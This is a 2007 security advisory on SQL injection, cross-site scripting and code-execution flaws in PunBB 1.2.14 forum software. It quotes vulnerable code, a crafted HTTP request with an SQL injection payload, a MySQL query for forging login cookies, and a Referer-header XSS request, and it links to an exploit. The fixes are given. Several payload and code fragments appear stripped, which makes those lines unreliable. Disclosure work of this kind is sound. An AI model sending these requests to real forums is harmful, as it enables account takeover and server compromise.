Title: PunBB <= 1.2.14 Multiple Vulnerabilities Author: DarkFig < gmdarkfig (at) gmail (dot) com > Written on: 2007/04/08 Released on: 2007/04/11 Risk level: High URL: http://www.acid-root.new.fr/advisories/13070411.txt Summary: SQL Injection, Cross site scripting, Code execution Solution: A new version of PunBB (1.2.15) has been released. -=[ DESCRIPTION ] PunBB is a fast and lightweight PHP-powered discussion board. It is released under the GNU General Public License. Its primary goals are to be faster, smaller and less graphically intensive as compared to other discussion boards. PunBB has fewer features than many other discussion boards, but is generally faster and outputs smaller, semantically correct XHTML-compliant pages. -=[ VULN #1 ] Risk level: Medium Type: SQL Injection Conditions: PHP <= 4.4.2 or PHP <= 5.1.3 register_globals=On ini_get() problem The "search.php" file contains the following php code: 49| if (isset($_GET['action']) || isset($_GET['search_id'])) | [...] 54| if (isset($search_id)) unset($search_id); 55| 56| // If a search_id was supplied 57| if (isset($_GET['search_id'])) 58| { 59| $search_id = intval($_GET['search_id']); 60| if ($search_id < 1) 61| message($lang_common['Bad request']); 62| } | [...] 100| if (isset($search_id)) 104| $result = $db->query('SELECT search_data FROM '.$db->prefix | .'search_cache WHERE id='.$search_id.' AND ident=\'' | .$db->escape($ident).'\'') or [...] When I did see this code, I thought that there was an SQL Injection with the Zend_Hash_Del_Key_Or_Index vulnerability and register_globals=On. But let's see another file, the "include/common.php" file contains the following code: 39| // Reverse the effect of register_globals 40| if (@ini_get('register_globals')) 41| unregister_globals(); If ini_get('register_globals') returns TRUE, the unregister_globals() function is called. The "@" has been used if an error occured (Warning..), because on many servers this function is disabled for security reasons. It's the case on my server, if I remove @, I obtain this : Warning: ini_get() has been disabled for security reasons in [...] In this case, ini_get('register_globals') returns FALSE even if register_globals=On, so unregister_globals() isn't called. The unregister_globals() functions contains the following code: 1037| function unregister_globals() 1038| { 1039| // Prevent script.php?GLOBALS[foo]=bar 1040| if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) 1041| exit('bip bip biiiiiiiip'); 1042| 1043| // Variables that shouldn't be unset 1044| $no_unset = array('GLOBALS', '_GET', '_POST', '_COOKIE', | '_REQUEST', '_SERVER', '_ENV', '_FILES'); 1045| 1046| // Remove elements in $GLOBALS that are present in any of | the superglobals 1047| $input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, | $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array()); 1048| foreach ($input as $k => $v) 1049| { 1050| if (!in_array($k, $no_unset) && isset($GLOBALS[$k])) 1051| { 1052| unset($GLOBALS[$k]); 1053| unset($GLOBALS[$k]); // zend_hash_del_key_or_index protection 1054| } 1055| } 1056| } If register_globals=On and if there is a problem (see [1] / [2] for example) concerning the ini_get() function, there is an SQL Injection (with the Zend_Hash_Del_Key_Or_Index vulnerability). The attacker will forge an HTTP packet which looks like this: GET /punbb1-2-14/search.php?action=show_new HTTP/1.1\r\n Host: localhost\r\n Connection: keep-alive\r\n Cookie: punbb_cookie=\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 55\r\n\r\n search_id=-1%20OR%201%3D1%23&1986084953=1&-1234899993=1\r\n\r\n After getting the password (hashed), you don't need to break it. As Nms (see [3]) said, it's easy to forge a cookie. Let's see the check_cookie() function: 39| if (isset($_COOKIE[$cookie_name])) 40| list($cookie['user_id'], $cookie['password_hash']) = | @unserialize($_COOKIE[$cookie_name]); | [...] 49| if (!isset($pun_user['id']) || md5($cookie_seed.$pun_user['password']) !== | $cookie['password_hash']) The $cookie_seed value is stored in the "config.php" file, but we can retrieve it with an SQL request (with the SQL Injection). The hash stored in the cookie ($cookie['password_hash']) looks like this: mysql> SELECT MD5( -> CONCAT( -> SUBSTR( -> MD5( -> /* $cookie_seed value */ -> (SELECT registered FROM users WHERE LENGTH(registered)=10 -> ORDER BY registered LIMIT 1)),-8), -> /* The hashed password */ -> (SELECT password FROM users WHERE id=))) -> /* Ouput -> f4684bb1418c241992c6b8f9d70a4edb */; The solution is quite simple, in "include/common.php", remove the condition ("if(ini_get...") and even if ini_get('register_globals') returns FALSE, apply the unregister_globals() function. -=[ VULN #2 ] Risk level: Low Type: Cross Site Scripting Conditions: none In the "misc.php" file the "Referer" header isn't properly filtered before being used. The file contains the following code: 128| $redirect_url = (isset($_SERVER['HTTP_REFERER']) && | preg_match('#^'.preg_quote($pun_config['o_base_url']).'/(.*?)\.php#i', | $_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : 'index.php'; | [...] 146| This can lead to cross site scripting attacks, for example send this HTTP packet (with a valid email id): GET http://localhost/punbb1-2-14/misc.php?email=3 HTTP/1.1\r\n Host: localhost\r\n Referer: http://localhost/punbb1-2-14/misc.php?email=3">\r\n Connection: keep-alive\r\n Cookie: punbb_cookie=\r\n\r\n If the attacker knows how to use Ajax, it's quite easy to exploit (with setRequestHeader). But let's see how this can be used... -=[ VULN #3 ] Risk level: High Type: Code execution Conditions: none With punBB an XSS can lead to ... php code execution ! We can use the 'Referer' XSS to lead this attack. There is also another XSS in the admin pannel . When we add a category (admin_categories.php) like '', the code is executed when we wanna remove the created category. Now, serious things begin ... The script "footer.php" contains the following code: 136| $tpl_temp = trim(ob_get_contents()); 137| $tpl_main = str_replace('', $tpl_temp, $tpl_main); 138| ob_end_clean(); | [...] 143| while (preg_match('##', $tpl_main, $cur_include)) 144| { 145| if (!file_exists(PUN_ROOT.'include/user/'.$cur_include[1])) 146| error('[...]'); 147| 148| ob_start(); 149| include PUN_ROOT.'include/user/'.$cur_include[1]; 150| $tpl_temp = ob_get_contents(); 151| $tpl_main = str_replace($cur_include[0], $tpl_temp, $tpl_main); 152| ob_end_clean(); 153| } So if the content of the page contains '). An exploit has been released [4]. -=[ LINKS ] [1] Warning: ini_get() has been disabled for security reasons http://www.google.fr/search?q=warning%3A+ini_get+has+been [2] ini_get returns values from other vservers http://bugs.php.net/bug.php?id=21874 [3] PunBB <= 1.2.13 Multiple Vulnerabilities http://wargan.org/index.php/2006/10/29/4-punbb-1213-multiple-vulnerabilities [4] PunBB <= 1.2.14 Remote Code Execution Exploit http://www.acid-root.new.fr/poc/29070411.txt [5] Related fixes http://dev.punbb.org/changeset/933 http://dev.punbb.org/changeset/934 http://dev.punbb.org/changeset/937 http://dev.punbb.org/changeset/938 // Greetz: ddx39, lorenzo, sparah, romano